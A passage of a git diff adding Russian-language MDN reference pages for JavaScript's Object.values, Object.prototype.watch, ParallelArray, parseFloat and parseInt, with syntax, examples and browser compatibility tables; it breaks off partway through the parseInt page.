+   <td>{{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html
new file mode 100644
index 0000000000..fa1e84895d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.values()
+slug: Web/JavaScript/Reference/Global_Objects/Object/values
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/values
+---
+<div>{{JSRef}}</div>
+
+<p>Метод  <code><strong>Object.values()</strong></code><strong> </strong>возвращает массив значений перечисляемых свойств объекта в том же порядке что и цикл {{jsxref("Statements/for...in", "for...in")}}. Разница между циклом и методом в том, что цикл перечисляет свойства и из цепочки прототипов.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-values.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Object.values(<var>obj</var>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чьи значения перечисляемых свойств будут возвращены.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив содержащий значения перечисляемых свойств объекта.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Object.values()</code> возвращает массив, чьи элементы это значения перечисляемых свойств найденых в объекте. Порядок такой же как если пройтись по объекту циклом вручную.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var obj = { foo: "bar", baz: 42 };
+console.log(Object.values(obj)); // ['bar', 42]
+
+// Массив как объект
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// Массив как объект со случайным порядком ключей
+// Когда мы используем нумерованные ключ, значения возвращаются в порядке возрастания
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(an_obj)); // ['b', 'c', 'a']
+
+// getFoo неперечисляемое свойство
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = "bar";
+console.log(Object.values(my_obj)); // ['bar']
+
+// Аргумент, не являющийся объектом, будет приведен к объекту
+console.log(Object.values("foo")); // ['f', 'o', 'o']
+</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Для добавления совместимости <code>Object.values</code> со старым окружением, которое не поддерживает нативно его, вы можете найти полифилл здесь <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> или в <a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a> репозитарии.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.values")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Перечисляемость и принадлежность свойств</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.entries()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/watch/index.html b/files/ru/web/javascript/reference/global_objects/object/watch/index.html
new file mode 100644
index 0000000000..8f4a3d5b99
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/watch/index.html
@@ -0,0 +1,168 @@
+---
+title: Object.prototype.watch()
+slug: Web/JavaScript/Reference/Global_Objects/Object/watch
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+translation_of: Archive/Web/JavaScript/Object.watch
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<div class="warning">
+ <p><strong>Предупреждение:</strong> обычно, при возможности, вам следует избегать использования <code>watch()</code> и {{jsxref("Object.prototype.unwatch", "unwatch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например <code>window</code>. Обычно вместо них вы можете использовать <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">сеттеры и геттеры</a> или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}. Также, не путайте {{jsxref("Object.prototype.watch", "Object.watch")}} с {{jsxref("Object.prototype.observe", "Object.observe")}}.</p>
+</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>watch()</strong></code> следит за присваиванием свойству значений и запускает указанную функцию, когда это происходит.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.watch(<var>prop</var>, <var>handler</var>)</code></pre>
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt>
+  <code>prop</code></dt>
+ <dd>
+  Имя свойства объекта, чьи изменения вы хотите отслеживать.</dd>
+ <dt>
+  <code>handler</code></dt>
+ <dd>
+  Функция, вызывающаяся при изменении значения указанного свойства.</dd>
+</dl>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Следит за присваиваниями свойству <code>prop</code> в этом объекте, вызывая функцию <code>handler(prop, oldval, newval)</code> всякий раз, когда свойство <code>prop</code> устанавливается и сохраняет возвращённое значение в этом свойстве. Точка наблюдения может отфильтровывать (или отменять) присваивание значения, возвращая изменённое новое значение <code>newval</code> (или старое значение <code>oldval</code>).</p>
+<p>Если вы удалите свойство, для которого была установлена точка наблюдения, эта точка наблюдения не будет отключена. Если вы позже вновь создадите это свойство, точка наблюдения продолжит работать.</p>
+<p>Для удаления точки наблюдения используйте метод {{jsxref("Object.unwatch", "unwatch()")}}. По умолчанию, метод <code>watch</code> наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.</p>
+<p>Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про <a href="/ru/docs/Venkman">Venkman</a>.</p>
+<p>В Firefox, функция <code>handler</code> вызывает только при присваивании из скрипта, не из встроенного кода. Например, <code>window.watch('location', myHandler)</code> не вызовет <code>myHandler</code>, если пользователь щёлкнет по ссылке с якорем в текущем документе. Однако, выражение <code>window.location += '#myAnchor'</code> вызовет <code>myHandler</code>.</p>
+<div class="note">
+ <p><strong>Примечание:</strong> вызов <code>watch()</code> на объекте для определённого свойства перезапишет любые ранее назначенные на него обработчики.</p>
+</div>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<h3 id="Example:_Using_watch_and_unwatch" name="Example:_Using_watch_and_unwatch">Пример: использование <code>watch</code> и <code>unwatch</code></h3>
+<pre class="brush: js">var o = { p: 1 };
+
+o.watch('p', function (id, oldval, newval) {
+  console.log('o.' + id + ' изменено с ' + oldval + ' на ' + newval);
+  return newval;
+});
+
+o.p = 2;
+o.p = 3;
+delete o.p;
+o.p = 4;
+
+o.unwatch('p');
+o.p = 5;
+</pre>
+<p>Этот скрипт выведет следующее:</p>
+<pre>o.p изменено с 1 на 2
+o.p изменено с 2 на 3
+o.p изменено с undefined на 4
+</pre>
+<h3 id="Example:_Using_watch_to_validate_an_object.27s_properties" name="Example:_Using_watch_to_validate_an_object.27s_properties">Пример: использование <code>watch</code> для проверки свойств объекта</h3>
+<p>Вы можете использовать <code>watch</code> для проверки присваивания к любым свойствам объекта. Этот пример гарантирует, что каждый человек имеет допустимое имя и возраст между 0 и 200.</p>
+<pre class="brush: js">Person = function(name, age) {
+  this.watch('age', Person.prototype._isValidAssignment);
+  this.watch('name', Person.prototype._isValidAssignment);
+  this.name = name;
+  this.age = age;
+};
+
+Person.prototype.toString = function() {
+  return this.name + ', ' + this.age;
+};
+
+Person.prototype._isValidAssignment = function(id, oldval, newval) {
+  if (id === 'name' &amp;&amp; (!newval || newval.length &gt; 30)) {
+    throw new RangeError('недопустимое имя для ' + this);
+  }
+  if (id === 'age'  &amp;&amp; (newval &lt; 0 || newval &gt; 200)) {
+    throw new RangeError('недопустимый возраст для ' + this);
+  }
+  return newval;
+}
+
+will = new Person('Уилл', 29);
+print(will);   // Уилл, 29
+
+try {
+  will.name = '';
+} catch (e) {
+  print(e);
+}
+
+try {
+  will.age = -4;
+} catch (e) {
+  print(e);
+}
+</pre>
+<p>Этот скрипт выведет следующее:</p>
+<pre>Уилл, 29
+RangeError: недопустимое имя для Уилл, 29
+RangeError: недопустимый возраст для Уилл, 29
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<ul>
+ <li>Этот <a class="external link-https" href="https://gist.github.com/384583">полифилл</a> предлагает <code>watch</code> для всех совместимых с ES5 браузеров</li>
+ <li>Использование объекта {{jsxref("Global_Objects/Proxy", "Proxy")}} позволяет вам сделать ещё более глубокие изменения при присваивании свойств</li>
+</ul>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div class="note">
+ <p><strong>Примечание:</strong> вызов <code>watch()</code> на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.</p>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.unwatch()")}}</li>
+ <li>{{jsxref("Object.observe()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/parallelarray/index.html b/files/ru/web/javascript/reference/global_objects/parallelarray/index.html
new file mode 100644
index 0000000000..ca96e4c0fa
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/parallelarray/index.html
@@ -0,0 +1,52 @@
+---
+title: ParallelArray
+slug: Web/JavaScript/Reference/Global_Objects/ParallelArray
+translation_of: Archive/Web/ParallelArray
+---
+<p>{{jsSidebar("Objects")}} {{ obsolete_header() }}</p>
+<div class="note">
+ <p><strong>Note:</strong> This object was implemented in Firefox 17 and has been removed from {{ Gecko(29) }} in favor of ParallelJS (PJS) currently available in the Nightly channel ({{ bug(944074) }}).</p>
+</div>
+<h2 id="Сводка">Сводка</h2>
+<p>Целью ParallelArray является распараллеливание данных в веб-приложениях. Все функции, которые доступны на простом массиве могут исполняться параллельно на ParallelArray, при необходимости можно вернуться к последовательному исполнению. Чтобы убедиться что ваш код исполняется параллельно, it is suggested that the functions should be limited to the <a href="http://smallcultfollowing.com/babysteps/blog/2013/04/30/parallelizable-javascript-subset/" title="/en-US/docs/ParallelizableJavaScriptSubset">parallelizable subset of JS that Firefox supports</a>.</p>
+<h2 id="Синтаксис">Синтаксис</h2>
+<pre class="syntaxbox">new ParallelArray()
+new ParallelArray([element0, element1, ...])
+new ParallelArray(arrayLength, elementalFunction)</pre>
+<h2 id="Экземпляры_ParallelArray"><code>Экземпляры ParallelArray</code></h2>
+<h3 id="Свойства">Свойства</h3>
+<dl>
+ <dt>
+  length</dt>
+ <dd>
+  Возвращает количество элементов в <code>ParallelArray</code>.</dd>
+</dl>
+<h3 id="Методы">Методы</h3>
+<dl>
+ <dt>
+  map</dt>
+ <dt>
+  reduce</dt>
+ <dt>
+  scan</dt>
+ <dt>
+  scatter</dt>
+ <dt>
+  filter</dt>
+ <dt>
+  flatten</dt>
+ <dt>
+  partition</dt>
+ <dt>
+  get</dt>
+</dl>
+<h2 id="Примеры">Примеры</h2>
+<h3 id="Пример_Использование_метода_map_параллельно">Пример: Использование метода map параллельно</h3>
+<pre class="brush: js">var p = new ParallelArray([0, 1, 2, 3, 4]);
+var m = p.map(function (v) {
+  return v + 1;
+});</pre>
+<h2 id="Смотрите_также">Смотрите также</h2>
+<ul>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism" title="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism">Ecmascript ParallelArray strawman</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
new file mode 100644
index 0000000000..03cb0bc158
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
@@ -0,0 +1,136 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/parseFloat
+tags:
+  - JavaScript
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<p>Функция <code><strong>parseFloat()</strong></code> принимает строку в качестве аргумента и возвращает десятичное число (число с плавающей точкой)</p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">parseFloat(<em>строка</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>строка</code></dt>
+ <dd>Текстовая строка, из которой вам надо выделить десятичное число.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Число с плавающей точкой, полученное из строки. Если первый символ не может быть сконвертирован в число, то возвращается {{jsxref("NaN")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>parseFloat</code> - это высокоуровневая функция, не привязанная ни к одному объекту.</p>
+
+<p><code>parseFloat</code> разбирает текстовую строку, ищет и возвращает из нее десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернет значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.</p>
+
+<p>Если первый символ нельзя привести к числовому виду, <code>parseFloat</code> вернет<code> NaN</code>.</p>
+
+<p>С точки зрения математики, <code>значение NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseFloat </code>значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p>
+
+<p><code>parseFloat</code> также может вернуть значение <code>Infinity</code> ("бесконечность"). Вы можете использовать функцию {{jsxref("Global_Objects/isFinite", "isFinite")}}, чтобы определить, является ли результат конечным числом  (not <code>Infinity</code>, <code>-Infinity</code>, или <code>NaN</code>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="parseFloat_возвращает_число"><code>parseFloat</code> возвращает число</h3>
+
+<p>Все примеры ниже вернут <strong>3.14</strong></p>
+
+<pre><code>parseFloat(3.14);
+parseFloat('3.14');
+parseFloat('314e-2');
+parseFloat('0.0314E+2');
+parseFloat('</code>3.14какие-нибудь не цифровые знаки<code>');
+
+var foo = Object.create(null);
+foo.toString = function () { return "3.14"; };
+parseFloat(foo);
+
+var foo = Object.create(null);
+foo.valueOf = function () { return "3.14"; };
+parseFloat(foo);​​​​​</code></pre>
+
+<p> </p>
+
+<h3 id="parseFloat_возвращает_NaN"><code>parseFloat</code> возвращает NaN</h3>
+
+<p>Пример ниже вернет <code>NaN</code></p>
+
+<pre class="brush: js">parseFloat("FF2");
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.parseFloat")}}</p>
+
+<p> </p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html
new file mode 100644
index 0000000000..eb6c784422
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html
@@ -0,0 +1,202 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/parseInt
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<p>Функция <code><strong>parseInt()</strong></code> принимает строку в качестве аргумента и возвращает целое число в соответствии с указанным основанием системы счисления.</p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</p>
+
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Значение, которое необходимо проинтерпретировать. Если значение параметра <code>string</code> не принадлежит строковому типу, оно преобразуется в него (с помощью абстрактной операции <code><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code>). Пробелы в начале строки не учитываются.</dd>
+</dl>
+
+<dl>
+ <dt><code>radix</code></dt>
+ <dd>Целое число в диапазоне между 2 и 36, представляющее собой основание системы счисления числовой строки <code>string</code>, описанной выше. В основном пользователи используют десятичную систему счисления и указывают 10. <strong>Всегда указывайте этот параметр,</strong> чтобы исключить ошибки считывания и гарантировать корректность исполнения и предсказуемость результата. Когда основание системы счисления не указано, разные реализации могут возвращать разные результаты.</dd>
+</dl>
+
+<h3 id="Description" name="Description">Возвращаемое значение</h3>
+
+<p>Целое число, полученное парсингом (разбором и интерпретацией) переданной строки. Если первый символ не получилось сконвертировать в число, то возвращается {{jsxref("NaN")}}. </p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Функция <code>parseInt</code> преобразует первый переданный ей аргумент в строковый тип, интерпретирует его и возвращает целое число или значение <code>NaN</code>. Результат (если не <code>NaN</code>) является целым числом и представляет собой первый аргумент (<code>string</code>), рассматривающийся как число в указанной системе счисления (<code>radix</code>). Например, основание 10 указывает на преобразование из десятичного числа, 8 - восьмеричного, 16 - шестнадцатеричного и так далее. Если основание больше <code>10</code>, то для обозначения цифр больше <code>9</code> используются буквы. Например, для шестнадцатеричных чисел (основание 16) используются буквы от <code>A</code> до <code>F</code>.</p>
+
+<p>Если функция <code>parseInt</code> встречает символ, не являющийся числом в указанной системе счисления, она пропускает этот и все последующие символы (даже, если они подходящие) и возвращает целое число, преобразованное из части строки, предшествовавшей этому символу. <code>parseInt</code> отсекает дробную часть числа. Пробелы в начале и конце строки разрешены.</p>
+
+<p>Так как некоторые числа включают символ <code>e</code> в своём строковом представлении (например, <strong><code>6.022e23</code></strong>), то использование <code>parseInt</code> для усечения числовых значений может дать неожиданные результаты, когда используются очень малые или очень большие величины. <code>parseInt</code> не должна использоваться как замена для {{jsxref("Math.floor()")}}.</p>
+
+<p>Если основание системы счисления имеет значение <code>undefined</code> (неопределено) или равно 0 (или не указано), то JavaScript по умолчанию предполагает следующее:</p>
+
+<ul>
+ <li>Если значение входного параметра <code>string</code> начинается с "<code>0x</code>" или "<code>0X</code>", <var>за основание системы счисления принимается 16, и интерпретации подвергается оставшаяся часть строки.</var></li>
+ <li>Если значение входного параметра <code>string</code> начинается с "0", <var>за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации.</var> В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается еще не всеми браузерами, поэтому необходимо <strong>всегда указывать основание системы счисления при использовании функции </strong><strong><code>parseInt</code></strong>.</li>
+ <li>Если значение входного параметра <code>string</code> начинается с любого другого символа, система счисления считается десятичной (основание 10).</li>
+</ul>
+
+<p>Если первый символ строки не может быть преобразован в число, <code>parseInt</code> возвращает значение <code>NaN</code>.</p>
+
+<p>С точки зрения математики, значение <code>NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseInt </code>значение<code> </code><code>NaN </code>в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p>
+
+<p>Для преобразования числа в строку в указанной системе счисления, используйте <code>intValue.toString(radix)</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_parseInt" name="Example:_Using_parseInt">Пример: Использование <code>parseInt</code></h3>
+
+<p>Все следующие примеры возвращают <strong><code>15</code></strong>:</p>
+
+<pre class="brush: js">parseInt(" 0xF", 16);
+parseInt(" F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10);  //parseInt(015, 10); вернёт 15
+parseInt(15.99, 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+</pre>
+
+<p>Все следующие примеры возвращают <strong><code>NaN</code></strong>:</p>
+
+<pre class="brush: js">parseInt("Hello", 8); // Не является числом
+parseInt("546", 2);   // Неверное число в двоичной системе счисления
+</pre>
+
+<p>Все следующие примеры возвращают <strong><code>-15</code></strong>:</p>
+
+<pre class="brush: js">parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>Все следующие примеры возвращают <strong><code>4</code></strong>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="function token">parseInt</span><span class="punctuation token">(</span><span class="number token">4.7</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="function token">parseInt</span><span class="punctuation token">(</span><span class="number token">4.7</span> <span class="operator token">*</span> <span class="number token">1e22</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Очень большие числа становятся 4</span>
+<span class="function token">parseInt</span><span class="punctuation token">(</span><span class="number token">0.00000000000434</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// Очень маленькие числа становятся 4</span></code></pre>
+
+<p>Следующий пример возвращает <strong><code>224</code></strong>:</p>
+
+<pre class="brush: js">parseInt("0e0", 16);
+</pre>
+
+<h2 id="Восьмеричная_интерпретация_без_указания_системы_счисления">Восьмеричная интерпретация без указания системы счисления</h2>
+
+<p>Хотя это не поощряется в спецификацией ECMAScript 3 и запрещено в ECMAScript 5, многие реализации интерпретируют числовую строку, начинающуюся с <code>0</code>, как восьмеричную. Следующий пример может иметь как восьмеричный, так и десятичный результат. <strong>Чтобы избежать непредвиденного результата, всегда указывайте основание системы счисления.</strong></p>
+
+<pre class="brush: js">parseInt("0e0"); // 0
+parseInt("08"); // 0, '8' не является цифрой в восьмеричной системе.
+</pre>
+
+<h3 id="ECMAScript_5_устраняет_восьмеричную_интерпретацию">ECMAScript 5 устраняет восьмеричную интерпретацию</h3>
+
+<p>Спецификация ECMAScript 5 функции <code>parseInt</code> больше не разрешает трактовать в восьмеричной системе счисления строки, начинающиеся с <code>0</code>. ECMAScript 5 провозглашает:</p>
+
+<p>Функция <code>parseInt</code> производит целочисленное значение в результате интерпретации содержимого строкового аргумента в соответствии с указанным основанием системы счисления. Пробел в начале строки не учитывается. Если основание системы счисления не определено или равно <code>0</code>, оно считается равным <code>10</code>, за исключением случаев, когда строка начинается с пар символов <code>0x</code> или <code>0X</code>: тогда за основание принимается 16. Если основанием системы счисления указано <code>16</code>, число также может начинаться с пар символов <code>0x</code> или <code>0X</code>.</p>
+
+<p>В этом ECMAScript 5 расходится со спецификацией ECMAScript 3, в которой восьмеричная интерпретация не поощрялась, но и не была запрещена.</p>
+
+<p>Поскольку на момент 2013 года описанное выше поведение было применено не во всех реализациях, а поддержка старых браузеров является необходимой, <strong>всегда указывайте основание системы счисления.</strong></p>
+
+<h2 id="Более_строгая_функция_интерпретации">Более строгая функция интерпретации</h2>
+
+<p>Иногда необходим более строгий способ интерпретации целочисленных значений. В этом могут помочь регулярные выражения:</p>
+
+<pre class="brush: js">var filterInt = function (value) {
+  if (/^(\-|\+)?([0-9]+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
